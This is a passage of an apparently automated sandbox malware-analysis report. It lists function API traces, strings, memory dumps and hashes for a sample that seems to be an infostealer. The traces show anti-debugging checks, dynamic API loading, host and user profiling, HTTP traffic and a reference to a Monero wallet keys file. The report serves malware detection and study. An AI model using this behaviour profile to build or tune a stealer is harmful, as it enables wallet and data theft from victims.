GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 00BD9BB6

Strings

NtQueryInformationProcess, xrefs: 00BD9BAA

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: db32073bff4343b8057715e6bc16e648daf954875e98fba18ec33a2a55c7f207
Instruction ID: 30329abe89334b064a79ee49ac01023e2fb57f49d147213ce8535b8aceef4820
Opcode Fuzzy Hash: db32073bff4343b8057715e6bc16e648daf954875e98fba18ec33a2a55c7f207
Instruction Fuzzy Hash: AEA11DB55103489FD348EFAAFD8895637F9F74C30171C853BA605A3268D63B98C9CB62

Function 00BC45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00BC460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00BC479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00BC45D2

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 5ebace756687896666dd40f4425e807e7e10d5c542b9374ecaa73d3b423f3c1f
Instruction ID: b8fb7015d1995c40c75974fe1928753319325907d2352396aae2477e7e3cbc95
Opcode Fuzzy Hash: 5ebace756687896666dd40f4425e807e7e10d5c542b9374ecaa73d3b423f3c1f
Instruction Fuzzy Hash: 39413728FD268C6AC734FBA589EEE9D73D35F4A704F5050C4AE2253293CBB0650047B6

Function 00BC4880 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BDA7E6

Part of subcall function 00BC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00BC4839
Part of subcall function 00BC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00BC4849

Part of subcall function 00BDA740: lstrcpy.KERNEL32(00BE0E17,00000000), ref: 00BDA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00BC4915
StrCmpCA.SHLWAPI(?,013CEA08), ref: 00BC493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00BC4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00BE0DDB,00000000,?,?,00000000,?,",00000000,?,013CEA48), ref: 00BC4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00BC4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00BC4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00BC4E49
InternetCloseHandle.WININET(00000000), ref: 00BC4EAD
InternetCloseHandle.WININET(00000000), ref: 00BC4EC5
HttpOpenRequestA.WININET(00000000,013CEA18,?,013CDFD8,00000000,00000000,00400100,00000000), ref: 00BC4B15

Part of subcall function 00BDA9B0: lstrlen.KERNEL32(?,013C9238,?,\Monero\wallet.keys,00BE0E17), ref: 00BDA9C5
Part of subcall function 00BDA9B0: lstrcpy.KERNEL32(00000000), ref: 00BDAA04
Part of subcall function 00BDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BDAA12

Part of subcall function 00BDA8A0: lstrcpy.KERNEL32(?,00BE0E17), ref: 00BDA905

Part of subcall function 00BDA920: lstrcpy.KERNEL32(00000000,?), ref: 00BDA972
Part of subcall function 00BDA920: lstrcat.KERNEL32(00000000), ref: 00BDA982

InternetCloseHandle.WININET(00000000), ref: 00BC4ECF

Strings

de-DE, xrefs: 00BC4AD9
------, xrefs: 00BC4C69
", xrefs: 00BC4D33
------, xrefs: 00BC49BD
------, xrefs: 00BC4B28
", xrefs: 00BC4BF2

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$de-DE
API String ID: 460715078-1932956479
Opcode ID: dfca944423403a9a136e75405b38861f87654e0910df38c24a3c16eaadb8cf38
Instruction ID: 29d7799ec638c26bed051fb17e9916ae7352c95e952ad2cb440b9b2366b9c72f
Opcode Fuzzy Hash: dfca944423403a9a136e75405b38861f87654e0910df38c24a3c16eaadb8cf38
Instruction Fuzzy Hash: 1812FB71910258AADB15EB90DCA2FEEF3B8AF14300F5041EAB50672191EF752F49CF66

Function 00BD78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BD7910
RtlAllocateHeap.NTDLL(00000000), ref: 00BD7917
GetComputerNameA.KERNEL32(?,00000104), ref: 00BD792F

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: e1be05b54c7224dd7c4f3fb5192b8b20607fe20903b4b755d22da84ed34a24f6
Instruction ID: 5c42d4eac2b93cbe2066d4241644b16d2cdbd253704f38935266394995df3389
Opcode Fuzzy Hash: e1be05b54c7224dd7c4f3fb5192b8b20607fe20903b4b755d22da84ed34a24f6
Instruction Fuzzy Hash: CE0162B2944309EFC704DF95DD49BAEFBF8F704B11F10426AE545A2380E77959448BA1

Function 00BD7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00BC11B7), ref: 00BD7880
RtlAllocateHeap.NTDLL(00000000), ref: 00BD7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00BD789F

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 4b66dd1176f0df59df9d719bfa1074a01786d03708e4f6e41178d3f55a92cd80
Instruction ID: 3c9c06617812140fdd95215dc9d8b85dc015bb13fba8d9f7dd02a7ef08a64eba
Opcode Fuzzy Hash: 4b66dd1176f0df59df9d719bfa1074a01786d03708e4f6e41178d3f55a92cd80
Instruction Fuzzy Hash: 78F04FB1944208AFC704DF99DD49BAEFBB8EB04711F10426AFA05A2780D77515448BA1

Function 00BC1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00BC116A
ExitProcess.KERNEL32 ref: 00BC117E

Memory Dump Source

Source File: 00000000.00000002.1747919128.0000000000BC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true

Associated: 00000000.00000002.1747719148.0000000000BC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000C7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000CA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1747919128.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000E1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000000F97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.0000000001090000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.000000000109A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749282027.00000000010A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749524358.00000000010A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749615998.0000000001234000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1749634982.0000000001235000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bc0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 8bbdeaea0f9bc1d17f8f87e736be0924ff6225c3e1908a04bc400be84ac9c47f
Instruction ID: 353643eaaaa1c641700ef65da15daea263a1092d739eb9b581144c104087409e
Opcode Fuzzy Hash: 8bbdeaea0f9bc1d17f8f87e736be0924ff6225c3e1908a04bc400be84ac9c47f
Instruction Fuzzy Hash: C9D05E7490030CDFCB00DFE1D849AEDBBB8FB08311F0805A9D90572340EA3154C5CAA6

Function 00BD9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,013B5B30), ref: 00BD9C2D
GetProcAddress.KERNEL32(74DD0000,013B5C90), ref: 00BD9C45
GetProcAddress.KERNEL32(74DD0000,013C94C0), ref: 00BD9C5E
GetProcAddress.KERNEL32(74DD0000,013C94F0), ref: 00BD9C76
GetProcAddress.KERNEL32(74DD0000,013C9508), ref: 00BD9C8E
GetProcAddress.KERNEL32(74DD0000,013C9538), ref: 00BD9CA7
GetProcAddress.KERNEL32(74DD0000,013BBA90), ref: 00BD9CBF
GetProcAddress.KERNEL32(74DD0000,013CD0C8), ref: 00BD9CD7
GetProcAddress.KERNEL32(74DD0000,013CD0E0), ref: 00BD9CF0
GetProcAddress.KERNEL32(74DD0000,013CD008), ref: 00BD9D08
GetProcAddress.KERNEL32(74DD0000,013CCDF8), ref: 00BD9D20
GetProcAddress.KERNEL32(74DD0000,013B5CB0), ref: 00BD9D39
GetProcAddress.KERNEL32(74DD0000,013B5CD0), ref: 00BD9D51
GetProcAddress.KERNEL32(74DD0000,013B5CF0), ref: 00BD9D69
GetProcAddress.KERNEL32(74DD0000,013B5D10), ref: 00BD9D82
GetProcAddress.KERNEL32(74DD0000,013CCEA0), ref: 00BD9D9A
GetProcAddress.KERNEL32(74DD0000,013CCEE8), ref: 00BD9DB2
GetProcAddress.KERNEL32(74DD0000,013BB950), ref: 00BD9DCB
GetProcAddress.KERNEL32(74DD0000,013B5D30), ref: 00BD9DE3
GetProcAddress.KERNEL32(74DD0000,013CCE88), ref: 00BD9DFB
GetProcAddress.KERNEL32(74DD0000,013CCE58), ref: 00BD9E14
GetProcAddress.KERNEL32(74DD0000,013CD020), ref: 00BD9E2C
GetProcAddress.KERNEL32(74DD0000,013CCF00), ref: 00BD9E44
GetProcAddress.KERNEL32(74DD0000,013B5D70), ref: 00BD9E5D
GetProcAddress.KERNEL32(74DD0000,013CCF18), ref: 00BD9E75
GetProcAddress.KERNEL32(74DD0000,013CD098), ref: 00BD9E8D
GetProcAddress.KERNEL32(74DD0000,013CCEB8), ref: 00BD9EA6
GetProcAddress.KERNEL32(74DD0000,013CCED0), ref: 00BD9EBE
GetProcAddress.KERNEL32(74DD0000,013CCE10), ref: 00BD9ED6
GetProcAddress.KERNEL32(74DD0000,013CCFF0), ref: 00BD9EEF
GetProcAddress.KERNEL32(74DD0000,013CCE70), ref: 00BD9F07
GetProcAddress.KERNEL32(74DD0000,013CCE28), ref: 00BD9F1F
GetProcAddress.KERNEL32(74DD0000,013CCF30), ref: 00BD9F38
GetProcAddress.KERNEL32(74DD0000,013CA540), ref: 00BD9F50
GetProcAddress.KERNEL32(74DD0000,013CCF48), ref: 00BD9F68
GetProcAddress.KERNEL32(74DD0000,013CCF60), ref: 00BD9F81
GetProcAddress.KERNEL32(74DD0000,013B5D50), ref: 00BD9F99
GetProcAddress.KERNEL32(74DD0000,013CD0B0), ref: 00BD9FB1
GetProcAddress.KERNEL32(74DD0000,013B56B0), ref: 00BD9FCA
GetProcAddress.KERNEL32(74DD0000,013CCF78), ref: 00BD9FE2
GetProcAddress.KERNEL32(74DD0000,013CD038), ref: 00BD9FFA
GetProcAddress.KERNEL32(74DD0000,013B59F0), ref: 00BDA013
GetProcAddress.KERNEL32(74DD0000,013B5770), ref: 00BDA02B
LoadLibraryA.KERNEL32(013CCF90,?,00BD5CA3,00BE0AEB,?,?,?,?,?,?,?,?,?,?,00BE0AEA,00BE0AE3), ref: 00BDA03D
LoadLibraryA.KERNEL32(013CCFA8,?,00BD5CA3,00BE0AEB,?,?,?,?,?,?,?,?,?,?,00BE0AEA,00BE0AE3), ref: 00BDA04E
LoadLibraryA.KERNEL32(013CCE40,?,00BD5CA3,00BE0AEB,?,?,?,?,?,?,?,?,?,?,00BE0AEA,00BE0AE3), ref: 00BDA060
LoadLibraryA.KERNEL32(013CCFC0,?,00BD5CA3,00BE0AEB,?,?,?,?,?,?,?,?,?,?,00BE0AEA,00BE0AE3), ref: 00BDA072
LoadLibraryA.KERNEL32(013CCFD8,?,00BD5CA3,00BE0AEB,?,?,?,?,?,?,?,?,?,?,00BE0AEA,00BE0AE3), ref: 00BDA083
LoadLibraryA.KERNEL32(013CD050,?,00BD5CA3,00BE0AEB,?,?,?,?,?,?,?,?,?,?,00BE0AEA,00BE0AE3), ref: 00BDA095
LoadLibraryA.KERNEL32(013CD068,?,00BD5CA3,00BE0AEB,?,?,?,?,?,?,?,?,?,?,00BE0AEA,00BE0AE3), ref: 00BDA0A7
